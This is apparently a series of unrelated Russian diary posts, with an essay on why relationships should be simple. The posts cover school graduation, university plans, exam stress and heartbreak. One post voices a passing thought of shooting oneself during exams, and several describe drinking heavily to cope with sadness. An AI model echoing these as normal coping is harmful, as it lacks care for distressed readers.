друзей-знакомых, не хочу тоже. Не хочу учиться тому, что мне не особенно интересно (привет политологии), но сейчас у меня нет других вариантов на поступление. Планировала написать про свой последний звонок, прошедший в минувший понедельник, но настроение уже не то. Самым важным и ценным моментом понедельника стали письма в будущее, написанные нашим классом пять лет назад, когда мы только поступили в лицей. Наивнее вещицы, чем мое письмо, я реально не читала. Хорошо помню тот день, когда мы сидели на уроке биологии в седьмом классе и ваяли себе эти записки в будущее. Я могла бы что-нибудь и посодержательнее написать. Уверена, что представляя себя тогда одиннадцатиклассницей, я видела более амбициозную картину, чем та, которую я наблюдаю сейчас. Однако урезание собственных амбиций, на мой взгляд, пошло мне на пользу. Пять лет назад я думала, что после одиннадцатого класса уеду учиться в Москву, Питер или Финляндию. Два года назад я была уверена, что перееду в Калининград и поступлю в БФУ имени великого Канта. Сейчас я просто собираюсь поступить в университет своего города на политологию, чтобы хоть где-то быть. Единственное, что меня утешает, университет - это не школа, а 18 - это не 17. Я к тому, что у меня появляется возможность неограниченно самостоятельно принимать решения, поэтому не удивлюсь, если мне не понравится то, к чему приду осенью, и я просто брошу, отсеюсь из группы. Без понятия, каким человеком открою свое новое письмо, написанное в 2021 год. Даже сейчас не знаю, что еще добавить к этому посту, хотя вроде столько о нем думала. Как о целой главе книги. Но, в общем, как-то вот так потерянно я себя и чувствую.

Я ничего не сделала. Я напилась в тряпки. Я провела и ночь и день с другим, с которым познакомилась в неадекватном состоянии. Я только написала смс с поздравлением, написала так, что он должен был понять, что это я. Я даже спалила свой новый номер ему, потому что мне было похрен. И знаете? Он не ответил. Ни словечка. Ничего. Сейчас лежу обнимаюсь с этим парнем, смотрим кино, мне легко и спокойно. Неужели все?

У Хурмы вчера был др. Я, как единственный пряморукий у нас в комнате х), приготовила для нее торт. Она была настолько рада ему, и вообще тому, как мы с Соней подготовили для нее все это…Подарки, хэнд-мэйд открыточка (с Пинки! лол) …Ее родители забывают поздравить, а вот наша азиатская семья - нет. Мне было так приятно видеть, что она счастлива. Никогда в жизни не доводилось наблюдать, когда человек так радостно и благовейно ест кусочек торта. Так здорово, что у нее был праздник. Да, не очень большой, жутко-тесно домашне-общажный, но она счастлива.
Сегодня едем в город, дотусить х)
А у меня наполеонские планы по очищению и трехнедельному заезду по китайскому. Сессия подкралась непозволительно быстро!

Понятие нормальности очень растяжимое, когда говорят, что девушка не даёт спокойной жить парню и видеться с друзьями мне становится смешно, почему? Ну приведу ситуацию из своей жизни, как многие, кто меня читают знают, что я встречаюсь уже почти 6 лет со своим Ирошниковым, так вот в начале отношений я была крайне недовольна его Компание периодически возбухала насчет того, что он с ними тусит и тд, но потом я начала говорить в чем они хуевы, раз мои слова подтвердились, второй, третий и так во многом я оказываюсь права, как и он, потому что мы смотрим на наши проблемы немного со стороны, итог всего этого, что у него есть один кое-какой наш общий друг и все, со всеми остальными он как-то не контачит, причины по которым он этого не делает, я не знаю, но догадываюсь. Суть моего этого всего разговора заключается в том, что человек должен прислушиваться к своему спутнику, если он его уже выбрал и продержался больше года, если нет, тогда никто не имеет права диктовать и требовать. Это я борзая по жизни и такой характер ещё надо поискать, но об этом потом

Эту неделю даже писать сюда не хотела. Мне настолько все очертело. С ночи воскресенья по ночь пятницы я ложилась спать в 5.20-5.40 утра. И я вовсе не сериальчики смотрела, как это может показаться. Сегодня пришла с пар и сразу легла. Как итог - спала часов шесть, но все равно чувтсвую усталость.

Своими сообщениями об образовании уже достала Т., хотя она чертовски здорово понимает и поддерживает меня в этом. Вроде бы все не так уж и плохо, но я в ужасно расстроенных чувствах. Вроде бы так и планировала все сдавать, но внутри гложит неимоверно.

Мне кажется, что за этот июнь я морально просто разложусь. Сессия не то что убьет, а еще и ногой попинает после. Где взять силы, выдержку и желание не пустить пулю в висок?

это, наверное, глупо, но существует в моей новой жизни всего один момент одиночества. когда я выключаю ноутбук, снимаю со спинки дивана вторую подушку и перекатываюсь на прохладную сторону. всего одно мгновение, какие-то доли секунды, но я всё же успеваю почувствовать эту тоску. осознание того, что я одна. и всё теперь по-другому.

Ну и где ваше обещанное "Привычка проходит за 21 день"? 21 день прошел, а внутри всё осталось. Да, стало немного полегче, только потому что каждый день нахожу себе занятие, гуляю сутками, завожу новые знакомства, тренируюсь до потери пульса и работаю наизнос. Стоит оказаться дома в 4 стенах - и всё, зовите доктора.

Интересно жизнь складывается. Когда я уже отлично устроилась на новом месте, судьба свела меня с одним человеком. Сегодня директор той компании, куда мне очень хотелось, но по определенным обстоятельствам я так и не попала (в отличие от него), обещал взять под своё крыло на постоянный контракт. А хочу ли я теперь? Хочу ли я пересекаться с тем, кто сломал мой мир? С другой стороны - это постоянные командировки и возможность забыться. Не будет ли ошибкой принять это предложение? Есть месяц подумать.

Завтра у меня выпускной, а точнее должен был быть. Нет, он будет, но меня не будет там. Как-то так. Не знаю как я проведу завтрашний день. Набухаюсь, пореву и лягу спать. А что еще делать? Все пошло не так как планировалось, мечталось и хотелось. А я бы так хотела, чтобы завтра меня кто-то "спас" от моей депрессии. Обычный звонок с предложением:"Выходи". И все, и я бы променяла все выпускные всего мира на это, но увы и ах я не героиня фильма или сериала, не персонаж книги и не принцесса из сказки. Это реальность и такого в ней не случается, к сожалению. Я просто буду одна с бутылкой и музыкой. Вот, что никогда не предаст и всегда будет рядом. Вселенная пытается сломать меня окончательно, но у нее это плохо получается. Все ее испытания делают меня сильнее, а время за котрое я "регенерирую" сокращается с каждым разом. Чем хуже ситуация - тем быстрее моя регенерация. Забавно просто. А прошла я не справилась бы с этим. Она бы уже померла от стыда и мучений совести. Но хорошо, что у меня нет ни того, ни другого. Только лишь похуизм. Да дай же мне сил на завтра. Они мне пригодятся.

— Отношения, имеющие шанс быть долгосрочными, не должны быть сложными по определению. Ну сколько времени человек способен выносить мозг себе и другим в режиме нон-стоп? Ну полгода, год, в особо запущенных случаях — пару лет. А потом он всех достает окончательно и публика в скорбном молчании покидает зрительный зал, оставляя героя в одиночестве потеть на сцене под жаром софитов.

Так называемые сложные отношения, все эти «пришел-ушел» и многочасовые разговоры о высоком — это, пардон, от излишка свободного времени. Это неправильные отношения. Серьезно. Это как если вы приходите в автосалон и хотите бентли, хотя ваших средств в лучшем случае хватает на первый взнос за «жопель» в базовой комплектации. Вы можете приходить в этот салон годами, но все, что вам светит — это таки «жопель». Вы будете говорить, что бентли — единственное, что вам подходит, вы проклюете череп всем своим родным и друзьям, вы будете делать скорбное лицо и заламывать руки, вы испортите себе жизнь, вы возведете страдание в фетиш, но вы ни разу не задумаетесь, что все, что вам нужно, — это крепкая, надежная рабочая лошадка с работающим кондиционером, чистым салоном и правильно подобранной резиной, которая доставит вас из пункта А в пункт Б.

Отношения должны быть простыми, как две копейки. Неважно, гений ли он физик или простой Вася-фрезеровщик, неважно, какое у него образование, на скольких языках он говорит, сколько женщин у него было и хорошие ли он пишет стихи, важно лишь то, насколько вам с ним комфортно. Если он доводит вас до депрессии, если вам с ним не менее хреново, чем без него, если вы знаете, что вам с ним ничего не светит, если он выносит вам мозг, если он любит все эти фразочки: «Я не готов», или «Нам надо подождать», или «Мне надо подумать», или «Это так сложно», — посылайте его. Любили ли вы его действительно или это была всего лишь блажь — вы поймете только много позже, так что вы ровным счетом ничего не теряете.

Любовь вообще не поддающееся определению состояние, за любовь часто ошибочно принимают вожделение, уважение, привычку, зависть, желание поквитаться и много чего еще. От «сложных» отношений вы не выигрываете ничего, кроме головной боли. Если она нужна вам, эта головная боль, если вы жить без нее не можете, найдите в себе смелость признаться, что вам нужен не этот конкретный мужчина, а та головная боль, которую вы с ним получаете. И научитесь извлекать головную боль из более продуктивных отношений, просто предупредите п-р-а-в-и-л-ь-н-о-г-о мужчину, что по средам и субботам вы — форменная стерва, пусть он заранее подготовится.

Еще раз и еще раз: отношения должны быть простыми. Вам ведь с этим человеком детей рожать, хозяйство вести, планы строить, ходить в гости, общаться с родней и вообще вести самый что ни на есть примитивно-обывательский образ жизни. И если вы думаете, что минует вас чаша сия, вы о-о-о-о-очень сильно заблуждаетесь.

Оно ведь как бывает? Поначалу нам нужен высокий, стройный, красивый, умный, богатый, перспективный, сексуальный, романтичный, и только много позже мы понимаем — мы ВСЕ понимаем, — что нам нужен просто человек, на которого можно положиться, который будет рядом не тогда, когда у него в голове правильно перемкнуло. А всегда. Всегда, понимаете? Поэтому надежность — крайне важное качество.

Ему помогать вам в САМЫЕ сложные моменты жизни, когда ну полная жопа и, шаг вправо, шаг влево, — кранты. Поэтому ответственность — тоже крайне важное качество.

Вам захочется делиться с ним радостью и печалью, победами и поражениями, мечтами и опасениями, поэтому умение сопереживать — это вообще капец как важно.

Вы изучите его вдоль и поперек, вы будете понимать друг друга с полуслова, вы в конце концов притретесь друг к другу, как отточенные на супермегаэкстрастанке шестеренки, вы будете продолжать скандалить и мириться, потому что он все-таки не вы, это другой человек, хоть он и заточился под вас так же, как и вы под него. Поэтому терпимость — без нее ну просто никак.

И вы постоянно будете уступать друг другу часть себя, частичку за частичкой отгрызая свои холостяцкие привычки, это модное нынче слово «компромисс», так что гибкость — это тоже очень-очень важно.

И вы будете принимать важные решения, вместе и по отдельности, решения, которые вполне способны изменить ваш текущий уклад жизни, так что без доверия — ну просто никак вообще.

Задумайтесь, вот когда вам было 20, вы же ни о чем этом не думали, верно? Вам хотелось, чтобы он лихо подкатил к вам на супертачке, подарил цветы и красиво так поцеловал прямо в губы. И чтобы вы любовались его обалденно-прекрасными глазами и вообще были бы как на картинке. Так вот на самом деле все это не важно ни разу. Плевать, красивый он или нет, высокий или низкий, стройный или пухлый, краснобай или заика. Все, что вам от него нужно, — это осознание, что вот с этим человеком и в огонь, и в воду, и в медные трубы и что, когда он рядом, вам очень хорошо. И что БЕЗ него вам гора-а-а-а-аздо хреновее, чем С ним.

И, я вас уверяю, когда вы обернетесь назад лет через 20, когда будете по-прежнему умиляться, измеряя его температуру и помогая писать завещание, хотя он всего лишь один раз чихнул, и когда вы перестанете вести наконец задушевные разговоры «А куда мы движемся», потому что вы УЖЕ пришли туда, куда вам нужно, вот это и будет любовь. Любовь — она заранее не просчитывается. Никогда.

А все вот эти «сложные» отношения — ну блин, ну пойдите на курсы макраме, что ли. Или сиротам помогите. Оставьте свой бедный мозг в покое, у него и без вас забот полон рот.

О том как буду жить через месяц, через несколько месяцев.

О том кем хочу быть/в какую профильную отрасль мне податься.

О том что хочу добиться заработав деньги.Куда вложиться с этими деньгами.Или на что.

Ну и очень хочу видеть одного человека.Как сразу пробирается у меня желание, сразу начинаю заводиться о нем…ну типо думаю как он там…кто с ним рядом…